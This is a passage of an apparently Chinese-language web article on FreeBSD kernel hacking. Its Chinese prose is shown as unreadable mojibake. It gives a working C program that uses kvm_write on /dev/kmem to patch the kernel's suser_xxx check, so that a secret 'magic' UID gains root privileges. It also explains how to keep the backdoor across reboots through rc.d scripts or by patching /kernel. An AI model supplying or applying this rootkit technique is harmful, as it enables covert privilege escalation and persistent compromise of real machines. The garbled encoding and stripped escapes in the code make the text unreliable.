| ÂÛ̳ע²á| ¼ÓÈëÊÕ²Ø | ÉèΪÊ×Ò³| RSS
Google
Äúµ±Ç°µÄλÖãºÊ×Ò³ > LinuxƵµÀ > Linux¿ª·¢Çø > ÄÚºËÑо¿

FreebsdÄÚºËÄ£¿éÔ´ÂëʵÏÖÒÔ¼°Ó¦ÓÃÌ½ÃØ

ʱ¼ä£º2005-11-25 10:43:19  À´Ô´£º  ×÷Õߣº
nbsp;         return (EPERM); 
        } 
        if (!cred) 
                cred = proc->p_ucred; 
        if (cred->cr_uid != 0)            ///------------------------------------| 
                return (EPERM); 
        if (proc && proc->p_prison && !(flag & PRISON_ROOT)) 
                return (EPERM); 
        if (proc)  
                proc->p_acflag |= ASU; 
        return (0); 


³ý·ÇÄãÊÇÒ»¸öassembler person ,Ç뿴һϣ¬Äã¿ÉÒÔ×¢Òâµ½%eax´æÖü×Åcred ,%edx ´æ´¢×Åproc ½á¹¹£¬»ù±¾ÎÒÃÇÏë¸Ä³ÉÕâÑù 

if ((cred->cr_uid != 0) && (cred->cr_uid != MAGIC_UID))  
                return (EPERM); 

ÏÖÔÚÎÒÃÇÒªÕÒÒ»¸öµØ·½È¥´æ·ÅÉÏÃæµÄ´úÂ룬ÓÃprintfµÄµØÖ·°É£¬printfµÄ×÷ÓþÍÊÇÔÚsuser_xxxÔÚ±»´íÎóµ÷ÓÃʱ²ÅÓÐÓã¬ÏÖÔÚÎÒÃǼÙÉè 
ûÓÐÈË×Ðϸ¿´×ÅËüµÄÆÁÄ»£»£©£¬¿´¿´»ã±à´úÂëÖУ¬ËùÓдíÎóµÄ·µ»Ø¶¼ÊÇÕâÑù °ÑEPERM =1 ·Åµ½ %eax ÖÐc019d553: mov $0x1,%eax 
¿´Ò»ÏÂuid=!0µÄ²âÊÔ£¬Ìø×ªµ½c019d553. 

c019d565:       83 78 04 00             cmpl   $0x0,0x4(%eax) 
c019d569:       75 e8                   jne    c019d553      //75 ±íʾ jne ÏòÉÏÌø×ªµ½Æ«ÒÆe8£¬e8ÊǸö¸ºÊý-16   

ÎÒÃÇ¿´Ò»ÏÂÎÒÃǽ«Òª·ÅÖÃдúÂëµÄprintf´¦ £¨10¸ö×Ö½Ú£© 
c019d549:       68 90 df 36 c0          push   $0xc036df90 
c019d54e:       e8 5d db 00 00          call   c01ab0b0  
ÏÖÔÚÎÒÃÇÐèÒªÐÞ¸ÄÌø×ªµØÖ· 75 ±íʾ jne ÏòÉÏÌø×ªµ½Æ«ÒÆe8£¬e8ÊǸö¸ºÊý-16 

ÏÖÔÚÎÒÃǾÍÒªÐÞ¸ÄprintfµØÖ·µÄ´úÂë²¢Ìí¼ÓÎÒÃÇ×Ô¼ºµÄcheckÁË£¨cred->cr_uid != MAGIC_UID£© Ê×ÏÈÎÒÃÇÓàjmp 0x7(À´Ìø¹ýÕâ¸ö 
¼ì²é£©µ±Ëü±»¡°Õý³£µ÷ÓÃʱ¡°²»³ö´í£¬¾ÍÊÇÔÚ(!cred && !proc)µÄ²âÊÔÖУ¬È»ºóÌí¼ÓÎÒÃǵļìÑé´úÂë 
jmp 0x07                        eb 07                /* Ìø¹ý¼ì²é */ 
cmpl $magic,0x4(%eax)         83 78 04 magic       /* ¼ì²ìMAGIC_UID */ 
je 0x39                         74 39                /* Ìøµ½½áÊø */ 
nop                           90                   /* ÓÃÀ´Ìî³äµÄ×Ö½Ú */ 
nop                           90 

ÏÖÔÚÐ޸Ġc019d569 µØÖ·³öµÄ 75 e8 Îª 75 e0£¨ºóÍË8¸ö×Ö½Ú£© Êµ¼ÊÌø×ªµ½ÁËcmpl $magic,0x4(%eax) ÕâÀïÀ´Ö´ÐР
ÎÒÃǰÑËüÕûºÏµ½Ò»¿é£¬ÎÒµÄÌØ¶¨µÄMAGIC_UID=100£» 
#include  
#include  
#include  
#include  
#include  

#define MAGIC_ADDR      0xc019d549 
#define MAKE_OR_ADDR    0xc019d569 

unsigned char magic[] = "xebx07"      /* jmp 06 */ 
                        "x83x78x04x00"      /* cmpl $magic,0x4(%eax) */ 
                        "x74x39"      /* je to end */ 
                        "x90x90"      /* filling nop */ 



unsigned char makeor[] = "x75xe0";    /* jne e0 */ 

int 
main(int argc, char **argv) { 

        char errbuf[_POSIX2_LINE_MAX]; 
        long diff;  
        kvm_t *kd; 
        u_int32_t magic_addr = MAGIC_ADDR; 
        u_int32_t makeor_addr = MAKE_OR_ADDR; 

        kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf); 
        if(kd == NULL) { 
                fprintf(stderr,"ERROR: %sn",errbuf); 
                exit(-1); 
        } 


        if(kvm_write(kd,MAGIC_ADDR,magic,sizeof(magic)-1) < 0) { 
                fprintf(stderr,"ERROR: %sn",kvm_geterr(kd)); 
                exit(-1); 
        } 

        if(kvm_write(kd,MAKE_OR_ADDR,makeor,sizeof(makeor)-1) < 0) { 
                fprintf(stderr,"ERROR: %sn",kvm_geterr(kd)); 
                exit(-1); 
        } 

        if(kvm_close(kd) < 0) { 
                fprintf(stderr,"ERROR: %sn",kvm_geterr(kd)); 
                exit(-1); 
        } 

        exit(0); 

ÔÚdirect/fix_suser_xxx.c ¿ÉÄÜÄã»á¼ûµ½Çá΢µÄ¸Ä¶¯ £¬ËüÒªÇóuid<256 

ÏÖÔÚÄã¿ÉÒÔcopy /sbin/ping µ½ÄãµÄĿ¼Ï²âÊÔһϣº£© 

5.Ô½¹ýÖØÆô 

ÏÔÈ»µ±ÖØÆôºóÎÒÃǵÄÄ£¿é½±²»ÄÜÔÚʹÓã¬ËùÒÔÎÒÃÇ¿ÉÒÔ°ÑÎÒÃǵÄÄ£¿éÆô¶¯sh½Å±¾·ÅÔÚ/usr/local/etc/rc.d/ £¨Õâ¸öĿ¼¿ÉÒԸıäͨ¹ý 
rc.conf£º£©,Æäʵ·ÅÔÚloader.confÒ²²»´í£©µ±È»±ØÐ밲ȫ¼¶±ðµ÷Õû֮ǰִÐС£ 
Èç¹ûÄãͨ¹ýÉÏÃæµÄ/dev/kmemÖ±½Ó¸Ä±äÁËÄں˵ĴúÂë,Äã¿ÉÒÔ°ÑÕâЩ¸Ä±äÖ±½Óд½ø/kernel(hu,hu),ÎÒûÓвéelfµÄÏà¹ØÎĵµ£¬µ«ÊÇ¿´ÉÏ 
È¥ÖØ¶¨ÏòµØÖ·Ó¦¸ÃÊÇ/kernelÄ򵀮«ÒÆ+0xc0100000,ÔÚÄãдÄãµÄÄÚºËʱ£¬Çë²âÊÔÏÈ¡£ÔÚdirect/fix_suser_xxx_kernel.c ÓиöͬÑù 
µÄÀý×Ó¡£ 

6. ÊµÕ½ 

ÔÚÏÈǰµÄÀý×ÓÖУ¬ËùÓеķûºÅµØÖ·¶¼À´×Ô/dev/kmem,µ«ÊÇËüÈ·Çеijö´¦ÔÚÄÄÀïÄØ£¿ËüÔÚÄÚºËÖо­³£±ä»¯¡£ÕâЩ·ûºÅ´æ´¢ÔÚelf hash ±í 
ÀïÃæ£¬Ã¿¸öÁ¬ÈëÄں˵ÄÎļþ£¨object£©¶¼ÓÐËü×Ô¼ºµÄ·ûºÅ±í£¬ÔÚexp/symtable.c ÓиöÀý×Ó ËüÔÚlinker_files¶ÓÁÐÖвéÕÒµÚÒ»¸ö 
ÃüÃûΪkernelµÄÌõÄ¿£¬º¯ÊýÃû±»hashÁË£¬²¢±»ÖØÐ»ñµÃ£¬·ûºÅÕÒµ½Ö®ºóËüµÄvalue¾Í¿ÉÒԸıäÁË¡

À´¶¥Ò»ÏÂ
½ü»ØÊ×Ò³
·µ»ØÊ×Ò³
·¢±íÆÀÂÛ ¹²ÓÐÌõÆÀÂÛ
Óû§Ãû: ÃÜÂë:
ÑéÖ¤Âë: ÄäÃû·¢±í
Ïà¹ØÎÄÕÂ
    ÎÞÏà¹ØÐÅÏ¢
À¸Ä¿¸üÐÂ
À¸Ä¿ÈÈÃÅ